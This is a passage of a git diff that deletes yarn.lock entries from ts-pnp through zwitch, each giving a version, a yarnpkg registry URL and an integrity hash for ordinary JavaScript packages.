-ts-pnp@^1.1.6: - version "1.2.0" - resolved "https://registry.yarnpkg.com/ts-pnp/-/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92" - integrity sha512-csd+vJOb/gkzvcCHgTGSChYpy5f1/XKNsmvBGO4JXS+z1v2HobugDz4s1IeFXM3wZB44uczs+eazB5Q/ccdhQw== - -tty-browserify@0.0.0: - version "0.0.0" - resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6" - integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY= - -type-fest@^0.7.1: - version "0.7.1" - resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.7.1.tgz#8dda65feaf03ed78f0a3f9678f1869147f7c5c48" - integrity sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg== - -typescript@^4.2.3: - version "4.2.3" - resolved "https://registry.yarnpkg.com/typescript/-/typescript-4.2.3.tgz#39062d8019912d43726298f09493d598048c1ce3" - integrity sha512-qOcYwxaByStAWrBf4x0fibwZvMRG+r4cQoTjbPtUlrWjBHbmCAww1i448U0GJ+3cNNEtebDteo/cHOR3xJ4wEw== - -unified@^9.0.0: - version "9.2.1" - resolved "https://registry.yarnpkg.com/unified/-/unified-9.2.1.tgz#ae18d5674c114021bfdbdf73865ca60f410215a3" - integrity sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA== - dependencies: - bail "^1.0.0" - extend "^3.0.0" - is-buffer "^2.0.0" - is-plain-obj "^2.0.0" - trough "^1.0.0" - vfile "^4.0.0" - -unist-builder@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-builder/-/unist-builder-2.0.3.tgz#77648711b5d86af0942f334397a33c5e91516436" - integrity sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw== - -unist-util-generated@^1.0.0: - version "1.1.6" - resolved "https://registry.yarnpkg.com/unist-util-generated/-/unist-util-generated-1.1.6.tgz#5ab51f689e2992a472beb1b35f2ce7ff2f324d4b" - integrity sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg== - -unist-util-is@^4.0.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/unist-util-is/-/unist-util-is-4.1.0.tgz#976e5f462a7a5de73d94b706bac1b90671b57797" - integrity sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg== - -unist-util-position@^3.0.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/unist-util-position/-/unist-util-position-3.1.0.tgz#1c42ee6301f8d52f47d14f62bbdb796571fa2d47" - integrity sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA== - -unist-util-stringify-position@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz#cce3bfa1cdf85ba7375d1d5b17bdc4cada9bd9da" - integrity sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g== - dependencies: - "@types/unist" "^2.0.2" - -unist-util-visit-parents@^3.0.0: - version "3.1.1" - resolved "https://registry.yarnpkg.com/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz#65a6ce698f78a6b0f56aa0e88f13801886cdaef6" - integrity sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg== - dependencies: - "@types/unist" "^2.0.0" - unist-util-is "^4.0.0" - -unist-util-visit@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-util-visit/-/unist-util-visit-2.0.3.tgz#c3703893146df47203bb8a9795af47d7b971208c" - integrity sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q== - dependencies: - "@types/unist" "^2.0.0" - unist-util-is "^4.0.0" - unist-util-visit-parents "^3.0.0" - -unpipe@1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" - integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw= - -url@^0.11.0: - version "0.11.0" - resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1" - integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE= - dependencies: - punycode "1.3.2" - querystring "0.2.0" - -use-mousetrap@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/use-mousetrap/-/use-mousetrap-1.0.4.tgz#9ec635821140e702cc873f41880a5cbd46d1d09a" - integrity sha512-+limiYsm2e1Xs/tnwfEqSCcvh6XTcfLTpCoJFA+mu+btInnlrkFkZ48DLwVGejJdvP5H3Ge79t0bcRKepncvbQ== - dependencies: - "@types/mousetrap" "^1.6.4" - mousetrap "^1.6.5" - -use-subscription@1.5.1: - version "1.5.1" - resolved "https://registry.yarnpkg.com/use-subscription/-/use-subscription-1.5.1.tgz#73501107f02fad84c6dd57965beb0b75c68c42d1" - integrity sha512-Xv2a1P/yReAjAbhylMfFplFKj9GssgTwN7RlcTxBujFQcloStWNDQdc4g4NRWH9xS4i/FDk04vQBptAXoF3VcA== - dependencies: - object-assign "^4.1.1" - -util-deprecate@^1.0.1, util-deprecate@~1.0.1: - version "1.0.2" - resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf" - integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8= - -util@0.10.3: - version "0.10.3" - resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9" - integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk= - dependencies: - inherits "2.0.1" - -util@^0.11.0: - version "0.11.1" - resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61" - integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ== - dependencies: - inherits "2.0.3" - -vfile-location@^3.2.0: - version "3.2.0" - resolved "https://registry.yarnpkg.com/vfile-location/-/vfile-location-3.2.0.tgz#d8e41fbcbd406063669ebf6c33d56ae8721d0f3c" - integrity sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA== - -vfile-message@^2.0.0: - version "2.0.4" - resolved "https://registry.yarnpkg.com/vfile-message/-/vfile-message-2.0.4.tgz#5b43b88171d409eae58477d13f23dd41d52c371a" - integrity sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ== - dependencies: - "@types/unist" "^2.0.0" - unist-util-stringify-position "^2.0.0" - -vfile@^4.0.0: - version "4.2.1" - resolved "https://registry.yarnpkg.com/vfile/-/vfile-4.2.1.tgz#03f1dce28fc625c625bc6514350fbdb00fa9e624" - integrity sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA== - dependencies: - "@types/unist" "^2.0.0" - is-buffer "^2.0.0" - unist-util-stringify-position "^2.0.0" - vfile-message "^2.0.0" - -vm-browserify@1.1.2, vm-browserify@^1.0.1: - version "1.1.2" - resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0" - integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ== - -watchpack@2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.1.1.tgz#e99630550fca07df9f90a06056987baa40a689c7" - integrity sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw== - dependencies: - glob-to-regexp "^0.4.1" - graceful-fs "^4.1.2" - -web-namespaces@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/web-namespaces/-/web-namespaces-1.1.4.tgz#bc98a3de60dadd7faefc403d1076d529f5e030ec" - integrity sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw== - -webidl-conversions@^4.0.2: - version "4.0.2" - resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad" - integrity sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg== - -whatwg-url@^7.0.0: - version "7.1.0" - resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-7.1.0.tgz#c2c492f1eca612988efd3d2266be1b9fc6170d06" - integrity sha512-WUu7Rg1DroM7oQvGWfOiAK21n74Gg+T4elXEQYkOhtyLeWiJFoOGLXPKI/9gzIie9CtwVLm8wtw6YJdKyxSjeg== - dependencies: - lodash.sortby "^4.7.0" - tr46 "^1.0.1" - webidl-conversions "^4.0.2" - -xtend@^4.0.0: - version "4.0.2" - resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54" - integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ== - -yocto-queue@^0.1.0: - version "0.1.0" - resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b" - integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== - -zwitch@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/zwitch/-/zwitch-1.0.5.tgz#d11d7381ffed16b742f6af7b3f223d5cd9fe9920" - integrity sha512-V50KMwwzqJV0NpZIZFwfOD5/lyny3WlSzRiXgA0G7VUnRlqttta1L6UQIHzd6EuBY/cHGfwTIck7w1yH6Q5zUw== -- cgit v1.2.3